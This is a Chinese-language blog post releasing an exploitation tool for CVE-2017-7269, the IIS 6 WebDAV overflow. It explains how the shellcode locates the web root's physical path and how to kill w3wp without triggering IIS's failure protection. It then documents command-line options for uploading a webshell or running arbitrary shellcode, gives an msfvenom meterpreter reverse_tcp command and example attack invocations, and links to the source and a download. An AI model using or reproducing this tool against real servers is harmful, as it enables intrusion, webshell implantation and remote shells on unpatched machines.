现在的位置: 首页 Exp >正文

CVE-2017-7269写shell思路与综合利用工具

iis6 webdav漏洞在有些时候还是很好用的,例如说内网某些老旧的机器上。

只可惜利用方式太不友好,msf这种庞然大物用在web上真的是一点也不贴切。

iis支持各种脚本,如果能写webshell就再好不过了。


0x01 查找物理路径

想写文件,自然要找到物理路径。

我之前的文章(http://www.zcgonvh.com/post/tips_for_cve_2017_7269.html)里面提到了物理路径的问题:If头的第一个Url会经过MapPath转换为实际的物理路径,并存放在栈中。

那么直接从栈中找到物理路径就好了。

在触发漏洞时,物理路径保存在esp+174h处:

1.png

当shellcode执行时,esp已被修改为堆地址,此时需要从TEB中获取原始的StackBase:

2.png

在StackBase-54ch处就是物理路径了:

3.png

有了物理路径,写shell就很简单了。

物理路径以unicode格式存储,我选择了msvcrt.dll导出的wfopen和fputs进行写入,这样比较简便。


0x02 解决拒绝服务的问题

为了稳定利用,还有另外一个严重的问题:十分钟之后的拒绝服务。

出现拒绝服务之后只能通过重启iis或是终止w3wp来解决,重启iis是做不到的,但可以在shellcode内调用ExitProcess来终止w3wp。

当然,这种情况自然属于“应用程序池非正常终止”。iis默认有一个保护措施:五分钟之内只能有五次非正常终止,超过则禁用应用程序池:

4.png

所以调用的时机只能为最后一次,或是手动进行终止。在终止之后的五分钟之内不要有其他任何导致退出的操作,防止触发失败保护。


0x03 工具与说明

相比原理,相信工具更符合大众的胃口。

鉴于这次漏洞较为坑爹,自动的工具远不如手工判断,就多设置了几个选项。

一定要看说明!

一定要看说明!

一定要看说明!


工具命令行如下:

CVE-2017-7269 <url> [parms]

Header:
-h <host>       set host for [If] header
-p <port>       set port for [If] header
-s <scheme>     set scheme for [If] header
-l <length>     length of physical path

WebShell:
-w <webshell>   upload webshell to server
-wp <shellpath> path of webshell to save

ShellCode:
-c <shellcode>  execute the shellcode

Misc:
-t      test vulnerable only.
-e      exit process when getshell or test
-k      kill target(equals -e and -t)

Header四个选项控制If头中的内容,前三个用于因为反代导致url和实际host不对应的情况,一般来说不用设置。

-l选项设置物理路径长度,不设置的话会自动爆破。


如果已知路径长度的话最好进行设置,因为根据路径长度的不同,在爆破时可能会导致w3wp退出一到两次。

这个问题暂时没办法解决,用msf脚本甚至手动发包都是一样的。好在次数不会太多,不至于触发失败保护,无伤大雅。


WebShell选项中-w指定本地需要上传的文件,-wp指定要保存的路径,当然是基于根目录的相对路径,例如/webshell.aspx。


ShellCode选项可以指定一个shellcode文件,注意在编写shellcode时**一定**要在执行后手动调用ExitThread或是0x10B syscall,不然肯定会导致崩溃。

msf的shellcode要这样生成:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.223.129 LPORT=2638 EXITFUNC=thread PrependMigrate=true PrependMigrateProc=rundll32.exe >/tmp/shellcode


Misc选项中-t表示仅进行测试,不执行shellcode或上传shell。当未指定物理路径长度时还会进行爆破并显示结果。

-e表示在测试结束或上传结束时终止w3wp(调用0x10A syscall),建议在获取到物理路径长度后配合-l选项使用。如果用了爆破的话,则最好不要开启,而是等五分钟后用-k参数手动终止。

-k为手动终止w3wp的选项,相当于-e和-t的结合体。


举几个例子:

CVE-2017-7269 http://192.168.1.1/
CVE-2017-7269 http://192.168.1.1/ -l 19
CVE-2017-7269 http://host.remote/ -h test.local -p 8080 -s https
CVE-2017-7269 http://192.168.1.1/ -e -l 22 -w evil.asp -wp /webshell.asp
CVE-2017-7269 http://192.168.1.1/ -c shellcode.bin


测试结果如图:

msf shellcode会直接退出线程,返回超时是正常的。


附件中CVE-2017-7269.cs为源码,编译命令行:

csc CVE-2017-7269.cs

高版本windows默认未安装.net 2.0,注意使用4.0进行编译。


下载地址:       CVE-2017-7269_tool.rar

解压密码见注释。

Github: https://github.com/zcgonvh/cve-2017-7269-tool